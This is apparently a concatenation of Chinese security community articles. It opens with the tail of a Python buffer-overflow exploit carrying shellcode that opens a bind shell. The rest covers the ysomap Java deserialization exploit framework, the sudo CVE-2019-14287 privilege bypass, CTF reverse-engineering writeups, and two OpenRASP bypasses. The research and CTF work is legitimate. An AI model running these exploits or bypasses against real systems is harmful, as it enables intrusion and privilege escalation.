"\xc0\x90\x1d\x1f\xc8\x9c\x49\xcf\x9f\x4a\x27\xa9\x49\x3d\x91"
"\x63\x25\x97\x75\xf5\x05\x28\x03\xfa\x43\xde\xeb\x4b\x3a\xa7"
"\x14\x63\xaa\x2f\x6d\x99\x4a\xcf\xa4\x19\x6a\x32\x6c\x54\x03"
"\xeb\xe5\xd5\x4e\x0c\xd0\x1a\x77\x8f\xd0\xe2\x8c\x8f\x91\xe7"
"\xc9\x17\x4a\x9a\x42\xf2\x6c\x09\x62\xd7")
buffer = "A"*2002
buffer += "\xAF\x11\x50\x62" # 625011AF JMP ESP from essfunc.dll
buffer += "\x90"*16 # nopsled
buffer += shellcode
buffer += "C"*(5000-len(buffer))
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host,port))
print s.recv(1024)
print "[+] Sending exploit..."
s.send("TRUN /.:/ " + buffer)
print s.recv(1024)
s.close()
在运行了最终的漏洞利用代码后，shellcode起作用了，目标机在4444/tcp上打开了一个 "监听 "端口。
那么我们最后要做的就是连接到新打开的端口，获得一个shell。 | 社区文章 |
**作者：wh1t3p1g
项目地址：<https://github.com/wh1t3p1g/ysomap>**
## 01 YSOMAP
Ysomap是一款适配于各类实际复杂环境的Java反序列化利用框架，可动态配置具备不同执行效果的Java反序列化利用链payload。
随着利用链的补充，ysomap同样可作为一款Java反序列化利用链教学库。目前，ysomap支持Java原生反序列化利用链、fastjson利用链、hessian利用链、xmldecoder、xstream等等。
另外，ysomap具备exploit模块，用于充分调动反序列化利用链。目前，ysomap已支持RMI、JNDI、JMX、shiro、xmlrpc等exploits。
## 02 YSOMAP解决了什么痛点？
Java反序列化漏洞是Java语言中最严重的漏洞之一，此种类型漏洞常被用于渗透、某行动中，其中最出名的莫过于weblogic的T3/IIOP反序列化漏洞。从2015年反序列化漏洞被提出，到如今仍然有各类著名中间件出现此类问题，这都使得此种类型漏洞成为安全研究人员的研究热点之一。
然而，在实际碰到的漏洞环境中，我们常会发现目前存在的两款工具（ysoserial、marshalsec）均无法很好的进行利用。这是因为实际环境是复杂的，我们需要通过各种“技巧”来达到真正exploit的效果。
譬如，XStream的[LazyValue](https://github.com/wh1t3p1g/ysomap/blob/master/core/src/main/java/ysomap/payloads/xstream/LazyValueForXStream.java#L37)具备任意调用静态函数的利用效果，而实际想要利用，我们必须找一个切实可用的函数来利用。在之前的[文章](https://blog.0kami.cn/2021/03/14/java-how-to-find-gadget-chains/)中我找了`javax.naming.InitialContext.doLookup`进行利用，可以对外发起jndi连接。那么，实际环境会那么简单吗？答案当然是否定的，我们经常会遇到目标环境是不出网的情况，那么又该如何去进一步利用呢？这里提一个简单的解决方案，依赖spring框架我们可以找到函数`org.springframework.util.SerializationUtils.deserialize`来进行二次反序列化。此时，原本的XStream的payload就进一步转化为了Java原生反序列化的利用。（这里提到的案例是真实存在于某开源框架的）
那么问题就来了，如何在实际利用中快速配置此类“技巧”呢？
ysomap的存在就是为了解决此类问题，采用模块化的思想，ysomap将具备动态组合利用链和利用效果的能力。对于遇到的不同环境，根据特定的组合来达成实际利用。
为此，我将原本的利用链切分成了两个部分 **payload** 和 **bullet** ：
1. payload：指代利用链的前序部分
2. bullet：指代最终利用链可达成的效果，如命令执行、jndi外链等效果
举个例子，CommonsCollection1和3，在分析时我们可以看到实际1和3的区别在于1使用的是`InvokerTransformer`，而3使用的是`templatesImpl`的方式。那么提取相同的前序payload部分，我们只需写两个不同的bullet即可。而且这两个bullet也同样能被用于其他的payload。
实际还有就是我在写RMIRegistryExploit时，也有这种可将不变部分重用的地方，而无需2,3之类的出现。
另外，ysomap本身具备可扩展的属性，你可以通过编写自己的payload、bullet、exploit来扩展ysomap本身的功能。
## 03 如何上手YSOMAP？
在谈如何使用ysomap之前，假设使用者有一定的Java反序列化利用的前置知识，以及一些常见利用的原理，如rmi、ldap等。
### Jar编译
由于XStream的几个payload依赖JDK8的环境，所以后续的使用均在JDK8的环境下编译并运行
mvn clean package -DskipTests
正常编译不出错，可在`cli/target`目录找到ysomap.jar
当然，你也可以直接下载[release](https://github.com/wh1t3p1g/ysomap/releases)，但还是推荐自行clone后编译，因为大版本的更新将积攒一批利用链后才会发布release。
### Jar运行
经过几次迭代，目前ysomap支持两种运行模式：终端cli模式和脚本模式
终端模式
java -jar ysomap.jar cli
脚本模式
java -jar ysomap.jar script path/to/script.yso
终端模式更易于选择和配置exploit、payload、bullet，但对于重复性的配置，终端模式显的格外繁琐。所以后续又增加了脚本模式。通过编写特定配置的yso脚本，使用ysomap进行载入调用。脚本模式在正确配置的前提下将极大的节省使用者输入重复配置的工作量，提高使用效率。同时，yso脚本也可以被分享给其他使用者进行快捷使用。
### 基础使用方法
ysomap > help
help print this message
list <type> list exploits, bullets and payloads
use <type> <name> choose a exploit/payload/bullet
set <key> <value> set exploit/bullet's arguments
run run current session
show <type> show payload/bullet/exploit details
clear clear current sessions
session [c|i] recover to a session or create a new session
sessions print current running exploit sessions
stop stop current session
kill [uuid|all] kill sessions, like 'kill uuid' or 'kill all'
exit exit ysomap
使用help命令可以看到如上的一些命令，这里将依次进行介绍XD
命令均可用tab键进行补全
#### list操作
list <type> list exploits, bullets and payloads
ysomap支持多种类型的exploits、payloads、bullets，使用list命令可以查看当前支持的所有内容
比如list exploits 查看所有的exploit
同理可查看payload、bullet
#### show操作
show <type> show payload/bullet/exploit details
show操作同list有点类似，其主要作用是查看当前选择的payload/bullet/exploit的细节，后续举例子时会用到。
#### set操作
set <key> <value> set exploit/bullet's arguments
set操作主要用于配置exploit或payload的详细信息，后续举例子时会用到
这里有两个特殊的配置将用于payload生成
# 配置序列化数据生成后采用base64进行编码
set encoder base64
# 配置序列化数据生成后输出的位置，console为直接在终端输出，file为默认在当前目录生成obj.ser文件
set output console
set output file
#### use操作
use <type> <name> choose a exploit/payload/bullet
use操作用于选择对应的exploit、payload、bullet
#### session操作
clear clear current sessions
session [c|i] recover to a session or create a new session
sessions print current running exploit sessions
stop stop current session
kill [uuid|all] kill sessions, like 'kill uuid' or 'kill all'
ysomap中每一个payload或exploit的配置都会生成一个session，session用于维持当前的配置信息和运行状态
使用`sessions`查看当前的所有session
使用`session c`在保证当前session完整性的前提下，创建新的session用于配制新的payload或exploit
使用`session i uuid`来还原uuid所指向的session配置
另外，对于无需再运行的session，可以使用`kill uuid`的方式清除该session
也可以使用`stop`来停止当前正在运行的session
也可以使用`clear`来清除当前session的所有配置
#### run操作
run run current session
在配置完具体的内容后，使用run操作来运行或生成相应的序列化数据/exploit
### 使用流程
接下来，介绍以下两种流程
#### 生成序列化后的payload
当你需要使用ysomap生成特定的序列化数据时
第一步：`use payload xxxx` 设置一个payload
第二步：`show options`获得当前payload的配置信息，会提示可以选择的bullet信息
第三步：`use bullet xxxx` 给当前的payload装上子弹（具体能达成的利用方式）
第四步：`show options` 可以看到包括payload和bullet的配置信息
第五步：`set xxx xxx` 设置当前需要配置的内容
第六步：`run` 配置完成后，执行并生成相应的序列化数据
当生成的序列化数据为json或xml时，序列化后的数据将直接打印在终端上；当生成的序列化数据为二进制数据，则会在当前目录生成一个`obj.ser`文件
#### 利用exploit包进行攻击
当你需要使用ysomap进行攻击时
第一步：`use exploit xxxx` 设置一个exploit
第二步：`show options`获得当前exploit的配置信息，会提示需要设置payload或其他配置
第三步：如果需要设置payload，过程参考上面的步骤；
第四步：如果不需要设置其他payload，或其他设置已经设置完成 `set xxx xxx` 设置当前需要配置的内容
第五步：`run` 配置完成后，执行并进行相应的攻击
#### 实例配置
以配置exploit RMIListener为例
使用use操作可以选择exploit为RMIListener
选择了exploit，可以通过show操作查看当前exploit需要配置的内容
这里有两个配置项，一个是exploit可能需要配置相应的利用链payload，另一个是exploit本身所需要的配置信息。通过`show
options`可以查看推荐的payload名，此处RMIListener支持ysomap的所有gadgets。
假设此处payload选择CommonsBeanutils1，bullet选择也可以通过`show
options`查看，这里选择TemplatesImplBullet
然后使用set操作配置内容
最后使用run操作运行，session中也能看到当前所运行的exploit的相关信息
到这里，exploit RMIListner就运行起来了
对于第一次的配置，我们可以通过终端模式的提示一步一步配置。在接下来的运行中，我们可以将执行的操作记录成yso文件，然后使用script模式进行载入
use exploit RMIListener
use payload CommonsBeanutils1
use bullet TemplatesImplBullet
set lport 1099
set body "open -a Caclulator.app"
run
## 04 如何自定义扩展YSOMAP？
从上面的介绍可以知道ysomap主要由exploit、payload、bullet组成。
扩展exploit需要继承AbstractExploit对象，并分别声明@Exploits、@Authors、@Require、@Details
@Exploits
@Authors({Authors.WH1T3P1G})
@Require(bullets = {"required payload"}, param = false)
@Details("exploit descriptions")
public class ExploitDemo extends AbstractExploit {
}
扩展payload需要继承AbstractPayload对象，并分别声明@Payloads、@Authors、@Targets、@Require、@Dependencies
@Payloads
@Authors({ Authors.WH1T3P1G })
@Targets({Targets.JDK})
@Require(bullets = {"required bullet"},param = false)
@Dependencies({"dependency"})
public class PayloadDemo extends AbstractPayload<Object> {
}
扩展bullet需要实现接口Bullet对象，并分别声明@Bullets、@Authors、@Targets、@Require、@Dependencies
@Bullets
@Targets({Targets.JDK})
@Authors({ Authors.WH1T3P1G })
@Details("指定目录文件写入")
@Dependencies({"dependency"})
public class StoreableCachingMapBullet implements Bullet<Object> {
}
其中声明@Exploits、@Payloads、@Bullets将用于寻址，未标明的exploit、payload或bullet将无法使用
具体的编写案例可以直接在项目里找一个对应的对象模仿着写，相信写过一次之后就熟悉了。当然，如果在扩展中存在什么问题可以直接提issue
## 05 最后
ysomap目前所覆盖的利用链仍然是一小部分，还存在大量的利用链、exploit可以扩展。
后续将不定期更新已有的、我或者其他研究者发现的利用链。ysomap的使用存在一定前置门槛，我也在考虑如何降低这部分的门槛。比如script脚本模式就是我目前认为可以一键式运行或exploit的方式，当前，也许你有其他的更好的方法来提升使用体验，欢迎提issue、提PR～
最后的最后，感谢ysoserial、marshalsec这两款工具。
## 404星链计划
**ysomap 现已加入[404星链计划](https://github.com/knownsec/404StarLink)**
加入404星链计划社群，请扫码识别运营菜菜子二维码，添加时备注“星链计划”。
* * * | 社区文章 |
**作者：lu4nx@知道创宇404积极防御实验室
作者博客：[《CVE-2019-14287（Linux sudo
漏洞）分析》](https://www.shellcodes.org/Hacking/CVE-2019-14287%EF%BC%88Linux%20sudo%E6%BC%8F%E6%B4%9E%EF%BC%89%E5%88%86%E6%9E%90.html
"CVE-2019-14287（Linux sudo 漏洞）分析")**
近日 sudo
被爆光一个漏洞，非授权的特权用户可以绕过限制获得特权。官方的修复公告请见：<https://www.sudo.ws/alerts/minus_1_uid.html>。
## 1\. 漏洞复现
实验环境：
操作系统 | CentOS Linux release 7.5.1804
---|---
内核 | 3.10.0-862.14.4.el7.x86_64
sudo 版本 | 1.8.19p2
首先添加一个系统帐号 test_sudo 作为实验所用：
[root@localhost ~] # useradd test_sudo
然后用 root 身份在 /etc/sudoers 中增加：
test_sudo ALL=(ALL,!root) /usr/bin/id
表示允许 test_sudo 帐号以非 root 外的身份执行 /usr/bin/id，如果试图以 root 帐号运行 id 命令则会被拒绝：
[test_sudo@localhost ~] $ sudo id
对不起，用户 test_sudo 无权以 root 的身份在 localhost.localdomain 上执行 /bin/id。
sudo -u 也可以通过指定 UID 的方式来代替用户，当指定的 UID 为 -1 或 4294967295（-1 的补码，其实内部是按无符号整数处理的）
时，因此可以触发漏洞，绕过上面的限制并以 root 身份执行命令：
[test_sudo@localhost ~]$ sudo -u#-1 id
uid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
[test_sudo@localhost ~]$ sudo -u#4294967295 id
uid=0(root) gid=1004(test_sudo) 组=1004(test_sudo) 环境=unconfined_u:unconfined_r:unconfined_t:s0-s0:c0.c1023
## 2\. 漏洞原理分析
在官方代码仓库找到提交的修复代码：<https://www.sudo.ws/repos/sudo/rev/83db8dba09e7>。
从提交的代码来看，只修改了 lib/util/strtoid.c。strtoid.c 中定义的 sudo_strtoid_v1 函数负责解析参数中指定的
UID 字符串，补丁关键代码：
/* Disallow id -1, which means "no change". */
if (!valid_separator(p, ep, sep) || llval == -1 || llval == (id_t)UINT_MAX) {
if (errstr != NULL)
*errstr = N_("invalid value");
errno = EINVAL;
goto done;
}
llval 变量为解析后的值，不允许 llval 为 -1 和 UINT_MAX（4294967295）。
也就是补丁只限制了取值而已，从漏洞行为来看，如果为 -1，最后得到的 UID 却是 0，为什么不能为 -1？当 UID 为 -1
的时候，发生了什么呢？继续深入分析一下。
我们先用 strace 跟踪下系统调用看看：
[root@localhost ~]# strace -u test_sudo sudo -u#-1 id
因为 strace -u 参数需要 root 身份才能使用，因此上面命令需要先切换到 root 帐号下，然后用 test_sudo 身份执行了 `sudo
-u#-1 id` 命令。从输出的系统调用中，注意到：
setresuid(-1, -1, -1) = 0
sudo 内部调用了 setresuid 来提升权限（虽然还调用了其他设置组之类的函数，但先不做分析），并且传入的参数都是 -1。
因此，我们做一个简单的实验来调用 setresuid(-1, -1, -1) ，看看为什么执行后会是 root 身份，代码如下：
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
int main() {
setresuid(-1, -1, -1);
setuid(0);
printf("EUID: %d, UID: %d\n", geteuid(), getuid());
return 0;
}
注意，需要将编译后的二进制文件所属用户改为 root，并加上 s 位，当设置了 s 位后，其他帐号执行时就会以文件所属帐号的身份运行。
为了方便，我直接在 root 帐号下编译，并加 s 位：
[root@localhost tmp] # gcc test.c
[root@localhost tmp] # chmod +s a.out
然后以 test_sudo 帐号执行 a.out：
[test_sudo@localhost tmp] $ ./a.out
EUID: 0, UID: 0
可见，运行后，当前身份变成了 root。
其实 setresuid 函数只是系统调用 setresuid32 的简单封装，可以在 GLibc 的源码中看到它的实现：
// 文件：sysdeps/unix/sysv/linux/i386/setresuid.c
int
__setresuid (uid_t ruid, uid_t euid, uid_t suid)
{
int result;
result = INLINE_SETXID_SYSCALL (setresuid32, 3, ruid, euid, suid);
return result;
}
setresuid32 最后调用的是内核函数 sys_setresuid，它的实现如下：
// 文件：kernel/sys.c
SYSCALL_DEFINE3(setresuid, uid_t, ruid, uid_t, euid, uid_t, suid)
{
...
struct cred *new;
...
kruid = make_kuid(ns, ruid);
keuid = make_kuid(ns, euid);
ksuid = make_kuid(ns, suid);
new = prepare_creds();
old = current_cred();
...
if (ruid != (uid_t) -1) {
new->uid = kruid;
if (!uid_eq(kruid, old->uid)) {
retval = set_user(new);
if (retval < 0)
goto error;
}
}
if (euid != (uid_t) -1)
new->euid = keuid;
if (suid != (uid_t) -1)
new->suid = ksuid;
new->fsuid = new->euid;
...
return commit_creds(new);
error:
abort_creds(new);
return retval;
}
简单来说，内核在处理时，会调用 prepare_creds 函数创建一个新的凭证结构体，而传递给函数的 ruid、euid和suid 三个参数只有在不为
-1 的时候，才会将 ruid、euid 和 suid 赋值给新的凭证（见上面三个 if 逻辑），否则默认的 UID 就是 0。最后调用
commit_creds 使凭证生效。这就是为什么传递 -1 时，会拥有 root 权限的原因。
我们也可以写一段 SystemTap 脚本来观察下从应用层调用 setresuid 并传递 -1 到内核中的状态：
# 捕获 setresuid 的系统调用
probe syscall.setresuid {
printf("exec %s, args: %s\n", execname(), argstr)
}
# 捕获内核函数 sys_setresuid 接受到的参数
probe kernel.function("sys_setresuid").call {
printf("(sys_setresuid) arg1: %d, arg2: %d, arg3: %d\n", int_arg(1), int_arg(2), int_arg(3));
}
# 捕获内核函数 prepare_creds 的返回值
probe kernel.function("prepare_creds").return {
# 具体数据结构请见 linux/cred.h 中 struct cred 结构体
printf("(prepare_cred), uid: %d; euid: %d\n", $return->uid->val, $return->euid->val)
}
然后执行：
[root@localhost tmp] # stap test.stp
接着运行前面我们编译的 a.out，看看 stap 捕获到的：
exec a.out, args: -1, -1, -1 # 这里是传递给 setresuid 的 3 个参数
(sys_setresuid) arg1: -1, arg2: -1, arg3: -1 # 这里显示最终调用 sys_setresuid 的三个参数
(prepare_cred), uid: 1000; euid: 0 # sys_setresuid 调用了 prepare_cred，可看到默认 EUID 是为 0的
* * * | 社区文章 |
# 2021-西湖论剑-逆向（部分）-Writeup
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## TacticalArmed
出处: 2021 西湖论剑
原题链接: 链接：<https://pan.baidu.com/s/14runS0J5A_PVjuN6Ior5Aw>
提取码：eaaf
时间: November 20, 2021
考点: SMC, TEA, before_main, ida_dbg, 反调试
难度: 困难
### 初步分析
1. PE32 的文件，拖到 IDA 里打开，很容易就能找到 `main` 函数
2. 然后开始调试，发现很奇怪，一开始 IDA 是能调试的，但是过了几条指令之后 IDA 就啥都干不了了，考虑在 `main` 函数之前有其它操作
3. `main` 函数后面的逻辑很清晰
1. 使用 `malloc` & `VirtualProtect` 开辟了一段 rwx 的内存
2. 读取输入
3. 进入多重 `while` 循环，最内层填充了上面的内存空间（填入 shellcode），然后运行
4. 进行比较
4. 下面按照考点对分析过程进行归类
### 考点分析
**`TLSCallback0`**
1. 发现一个 `TLSCallback0` ，里头起了个线程
2. 线程注册了一个 exception handler 同时触发了对应的异常，回调函数里覆写了一些 data 段的数据，可能是填充 key 或者 cipher
**`initterm`**
1. 在 `.rdata` 段找到一个结构体
2. 里面自定义的函数最终执行了如下的逻辑
3. 猜测这里就是反调试了，网上搜索相关知识，发现这是通过改变 `Dr` 寄存器的状态来反调试的方法，`Dr7` 会在这个循环每次执行后赋值为 0， **而它实际上可以理解为是调试功能的“使能”标志位** ，所以这个线程在跑起来之后 IDA 的调试功能就没法用了
> _相关知识的具体介绍_
>
> [获取线程上下文的反调试技术](https://www.docin.com/p-1476078771.html)
>
> [活着的虫子](https://www.cnblogs.com/yilang/p/12107126.html)
4. 绕过也很简单，直接把调用 `initterm` 时传入的结构体里的函数指针删掉即可
**shellcode 运行与 dump**
1. 结合伪代码可以很容易地定位到执行 shellcode 的地方
2. 每次执行的其实都只是一条指令
3. 所以现在的问题就是如何把指令 dump 出来。这里使用 IDASDK 提供的 `ida_dbg` 工具集，而我之前又在它之上封了一个更方便使用的库，欢迎大佬们使用
[GitHub – r4ve1/IDA-autodbg](https://github.com/r4ve1/IDA-autodbg)
4. 然后在 IDA 中运行此脚本，再运行程序，即可把所有执行过的 shellcode 的汇编 dump 出来了
import idc
import autodbg as ac
import sark
import ida_dbg
class MyHook(ac.Actions):
def __init__(self):
super().__init__()
self.call_addr = 0x40146D
self.bpt_actions = [ac.B(self.call_addr, self.callback)]
self.exit_actions = [ac.E(self.exit_cbk)]
self.insn = """"""
def callback(self):
ida_dbg.refresh_debugger_memory()
var_addr = ida_dbg.get_reg_val("ebp")-8
ea = idc.get_wide_dword(var_addr)
for i in range(0x10):
idc.del_items(ea+i)
idc.create_insn(ea)
l = sark.Line(ea)
self.insn += str(l)+"\n"
# print(self.insn)
self.request_continue()
def exit_cbk(self):
with open("insn.txt", "w")as f:
f.write(self.insn)
a = ac.AutoCracker(MyHook())
a.hook()
1. 所执行的 shellcode 大致如图所示（仅展示其中一轮加密）
2. 其中大量移位 & 亦或的操作核对后发现是 TEA 加密，密钥就是 `TLSCallback0` 里面复制的那个全局变量，delta 改为了 `-0x7E5A96D2`
3. 同时也能发现轮数改为了 33
4. **还有一个很关键的，就是每加密一组明文后，**`**sum**` **并没有置为 0，这在解密的时候也要照顾到，要不就只能解密一个分组了**
### 最终脚本
#include <cstdint>
#include <cstdio>
#include <iostream>
#include <string>
#define DELTA -0x7E5A96D2
#define ROUND 33
uint32_t g_sum = 0;
using namespace std;
void tea_decrypt(uint32_t* v, uint32_t* k, uint32_t init_sum) {
uint32_t v0 = v[0], v1 = v[1], sum = init_sum, i; /* set up */
uint32_t k0 = k[0], k1 = k[1], k2 = k[2], k3 = k[3]; /* cache key */
for (i = 0; i < ROUND; i++) { /* basic cycle start */
v1 -= ((v0 << 4) + k2) ^ (v0 + sum) ^ ((v0 >> 5) + k3);
v0 -= ((v1 << 4) + k0) ^ (v1 + sum) ^ ((v1 >> 5) + k1);
sum -= DELTA;
} /* end cycle */
v[0] = v0;
v[1] = v1;
}
int main() {
int8_t cipher[] = {0xED, 0x1D, 0x2F, 0x42, 0x72, 0xE4, 0x85, 0x14, 0xD5, 0x78,
0x55, 0x03, 0xA2, 0x80, 0x6B, 0xBF, 0x45, 0x72, 0xD7, 0x97,
0xD1, 0x75, 0xAE, 0x2D, 0x63, 0xA9, 0x5F, 0x66, 0x74, 0x6D,
0x2E, 0x29, 0xC1, 0xFC, 0x95, 0x97, 0xE9, 0xC8, 0xB5, 0x0B};
uint32_t key[] = {0x7CE45630, 0x58334908, 0x66398867, 0x0C35195B1};
uint32_t sum = 0;
for (int i = 0; i < sizeof(cipher); i += 8) {
auto ptr = (uint32_t*)(cipher + i);
sum += DELTA * ROUND;
tea_decrypt(ptr, key, sum);
}
string plain((char*)cipher, sizeof(cipher));
cout << plain << endl;
}
flag `kgD1ogB2yGa2roiAeXiG8_aqnLzCJ_rFHSPrn55K`
## ROR
出处: 2021 西湖论剑
原题链接: 链接：<https://pan.baidu.com/s/14runS0J5A_PVjuN6Ior5Aw>
提取码：eaaf
时间: November 20, 2021
考点: Z3
难度: 简单
### 分析
* `main` 函数很清晰
* 仔细过一遍加密部分，发现其实就是对明文的各个 bit 位进行重组，然后拿新产生的数去做查表加密
* 自然而然想到了 z3。但是 z3 无法解决查表的逆操作，这一步调 Python 的方法去做就行了
### 最终脚本
import z3
p = [z3.BitVec("p%d" %i, 8)for i in range(40)]
buffer = [0]*256
k=[0]*8
k[0] = 128
k[1] = 64
k[2] = 32
k[3] = 16
k[4] = 8
k[5] = 4
k[6] = 2
k[7] = 1
charset=[ 0x65, 0x08, 0xF7, 0x12, 0xBC, 0xC3, 0xCF, 0xB8, 0x83, 0x7B,
0x02, 0xD5, 0x34, 0xBD, 0x9F, 0x33, 0x77, 0x76, 0xD4, 0xD7,
0xEB, 0x90, 0x89, 0x5E, 0x54, 0x01, 0x7D, 0xF4, 0x11, 0xFF,
0x99, 0x49, 0xAD, 0x57, 0x46, 0x67, 0x2A, 0x9D, 0x7F, 0xD2,
0xE1, 0x21, 0x8B, 0x1D, 0x5A, 0x91, 0x38, 0x94, 0xF9, 0x0C,
0x00, 0xCA, 0xE8, 0xCB, 0x5F, 0x19, 0xF6, 0xF0, 0x3C, 0xDE,
0xDA, 0xEA, 0x9C, 0x14, 0x75, 0xA4, 0x0D, 0x25, 0x58, 0xFC,
0x44, 0x86, 0x05, 0x6B, 0x43, 0x9A, 0x6D, 0xD1, 0x63, 0x98,
0x68, 0x2D, 0x52, 0x3D, 0xDD, 0x88, 0xD6, 0xD0, 0xA2, 0xED,
0xA5, 0x3B, 0x45, 0x3E, 0xF2, 0x22, 0x06, 0xF3, 0x1A, 0xA8,
0x09, 0xDC, 0x7C, 0x4B, 0x5C, 0x1E, 0xA1, 0xB0, 0x71, 0x04,
0xE2, 0x9B, 0xB7, 0x10, 0x4E, 0x16, 0x23, 0x82, 0x56, 0xD8,
0x61, 0xB4, 0x24, 0x7E, 0x87, 0xF8, 0x0A, 0x13, 0xE3, 0xE4,
0xE6, 0x1C, 0x35, 0x2C, 0xB1, 0xEC, 0x93, 0x66, 0x03, 0xA9,
0x95, 0xBB, 0xD3, 0x51, 0x39, 0xE7, 0xC9, 0xCE, 0x29, 0x72,
0x47, 0x6C, 0x70, 0x15, 0xDF, 0xD9, 0x17, 0x74, 0x3F, 0x62,
0xCD, 0x41, 0x07, 0x73, 0x53, 0x85, 0x31, 0x8A, 0x30, 0xAA,
0xAC, 0x2E, 0xA3, 0x50, 0x7A, 0xB5, 0x8E, 0x69, 0x1F, 0x6A,
0x97, 0x55, 0x3A, 0xB2, 0x59, 0xAB, 0xE0, 0x28, 0xC0, 0xB3,
0xBE, 0xCC, 0xC6, 0x2B, 0x5B, 0x92, 0xEE, 0x60, 0x20, 0x84,
0x4D, 0x0F, 0x26, 0x4A, 0x48, 0x0B, 0x36, 0x80, 0x5D, 0x6F,
0x4C, 0xB9, 0x81, 0x96, 0x32, 0xFD, 0x40, 0x8D, 0x27, 0xC1,
0x78, 0x4F, 0x79, 0xC8, 0x0E, 0x8C, 0xE5, 0x9E, 0xAE, 0xBF,
0xEF, 0x42, 0xC5, 0xAF, 0xA0, 0xC2, 0xFA, 0xC7, 0xB6, 0xDB,
0x18, 0xC4, 0xA6, 0xFE, 0xE9, 0xF5, 0x6E, 0x64, 0x2F, 0xF1,
0x1B, 0xFB, 0xBA, 0xA7, 0x37, 0x8F]
realCipher=[ 101, 85, 36, 54, 157, 113, 184, 200, 101, 251,
135, 127, 154, 156, 177, 223, 101, 143, 157, 57,
143, 17, 246, 142, 101, 66, 218, 180, 140, 57,
251, 153, 101, 72, 106, 202, 99, 231, 164, 121]
solver=z3.Solver()
for i in range(0,0x28,8):
for j in range(8):
c1 = ((k[j] & p[i + 3]) << (8 - (3 - j) % 8)) | ((k[j] & p[i + 3]) >> ((3 - j) % 8)) | ((k[j] & p[i + 2]) << (8 - (2 - j) % 8)) | ((k[j] & p[i + 2]) >> ((2 - j) % 8)) | ((k[j] & p[i + 1]) << (8 - (1 - j) % 8)) | ((k[j] & p[i + 1]) >> ((1 - j) % 8)) | ((k[j] & p[i]) << (8 - -j % 8)) | ((k[j] & p[i]) >> (-j % 8))
c2 = ((k[j] & p[i + 7]) << (8 - (7 - j) % 8)) | ((k[j] & p[i + 7]) >> ((7 - j) % 8)) | ((k[j] & p[i + 6]) << (8 - (6 - j) % 8)) | ((k[j] & p[i + 6]) >> ((6 - j) % 8)) | ((k[j] & p[i + 5]) << (8 - (5 - j) % 8)) | ((k[j] & p[i + 5]) >> ((5 - j) % 8)) | ((k[j] & p[i + 4]) << (8 - (4 - j) % 8)) | ((k[j] & p[i + 4]) >> ((4 - j) % 8))
c3=c1|c2
ans=charset.index(realCipher[i+j])
solver.add(c3==ans)
sat=solver.check()
print(sat)
mod=solver.model()
flag=''
for c in p:
tmp=mod[c].as_long()
flag+=chr(tmp)
print(flag)
## 虚假的粉丝
出处: 2021 西湖论剑
原题链接: 链接：<https://pan.baidu.com/s/14runS0J5A_PVjuN6Ior5Aw>
提取码：eaaf
时间: November 20, 2021
难度: …
> 这题太 NT 了
### 分析
1. 题目给的附件里有很多文件，看一下 exe
2. 让用户输入三个数，然后校验
3. 让用户输入一个字符串，校验第一个和最后一个字符
4. 然后就是这个循环了，运行一下发现这里就是播放音乐，然后读取文件里的内容并打印在屏幕上
5. 文件感觉是字符画一类的东西
6. 5315 这个文件全都是密文。所以这里的入手点就是猜到那个字符串
7. 考虑到 faded 的作者叫 Alan Walker，这里就从这个名字下手了。。。
8. 因为要输出的是字符画，所以大部分应该都是可视字符，所以还算有一个其他的方式判断当前是不是正确的 key
def dec():
with open("f\ASCII-faded 5315.txt", "rb")as f:
cipher = f.read()
key = b"Al4N_wAlK3R"
plain = [cipher[i] ^ key[i % len(key)]for i in range(len(cipher))]
for i, p in enumerate(plain):
if chr(p) not in string.printable:
print(i % len(key))
with open("plain.txt", "wb")as f:
f.write(bytes(plain))
1. 得到字符画，又废了老大劲才读懂 flag … | 社区文章 |
# 多种姿势openrasp命令执行绕过
##### 译文声明
本文是翻译文章
译文仅供参考，具体内容表达以及含义原文为准。
## 概述
随着Web应用攻击手段变得复杂，基于请求特征的防护手段，已经不能满足企业安全防护需求。Gartner在2014年提出了应用自我保护技术（RASP）的概念，即将防护引擎嵌入到应用内部，不再依赖外部防护设备。OpenRASP是该技术的开源实现，可以在不依赖请求特征的情况下，准确的识别代码注入、反序列化等应用异常，很好的弥补了传统设备防护滞后的问题。（来自官网：<https://rasp.baidu.com/>
的介绍）
## 安装配置
从<https://packages.baidu.com/app/openrasp/release/> 此处我们下载最新版本1.2.3。选择rasp-java.zip。下载后<https://rasp.baidu.com/doc/install/manual/spring-boot.html>
参考此文档配置springboot版本。为实验方便我们只需配置单机版本。<https://dwz.cn/HS4sCdfL>
开启拦截参考此处。此处我们将所有的命令执行设置为block。springboot文件从此处下载
链接：<https://pan.baidu.com/s/1SHB4LLLFl67SCKSxB1rQ0w> 提取码：po1e
# 测试
开启服务后，访问<http://127.0.0.1:8877/hello2?a=ping%20baidu.com> 和
<http://127.0.0.1:8877/hello3> 可以看到都会正常拦截。
其中代码如下，hello2介绍参数执行命令，hello3内部执行命令均会被拦截。
## 绕过方式1
访问<http://127.0.0.1:8877/hello1?a=ping%20baidu.com> 可以看到正常返回。
后台执行命令成功。
代码如下：
此处我们开启一个线程来执行命令。下面看看为什么能够绕过。我们开启debug
我们在ProcessBuilderHook.java的checkCommand处打断点。因为此处是check的开始。这里具体在哪个checkCommand打断点取决于你的环境。
然后跟进去下面的checkCommand，然后跟进doCheckWithoutRequest
然后再跟进doRealCheckWithoutRequest
然后再跟进CheckerManager.check
依次跟进checkParam->JS.Check。发现在此处返回为null。
而
results = V8.Check(type.getName(), params.getByteArray(), params.size(),new
Context(checkParameter.getRequest()), type == Type.REQUEST, (int)
Config.getConfig().getPluginTimeout());
此处是jni调用c++,然后解析js文件。所以我们直接看js文件。
发rasp会判断请求url是否为空来判断是否校验。我们将 return
clean；注释掉，发现能够拦截，我们用线程的方式启动请求context中没有url。所以能绕过。
此处建议：如果没有url，也要校验命令执行的内容，匹配危险命令则拦截或者记录。而不是应该判断url是否为空来判断。
## 绕过方式二
绕过方式二比较暴力简单。
我们访问<http://127.0.0.1:8877/hello4> 可以看到正常返回。
代码如下
我们直接使用反射的方式。修改rasp的HookHandler类的变量enableHook设置为false。而这个变量是全局的开关。所以我们只需重新关闭这个开关就可以使rasp失效。实现全局绕过。
我们再访问<http://127.0.0.1:8877/hello3>, 确实没有被拦截。
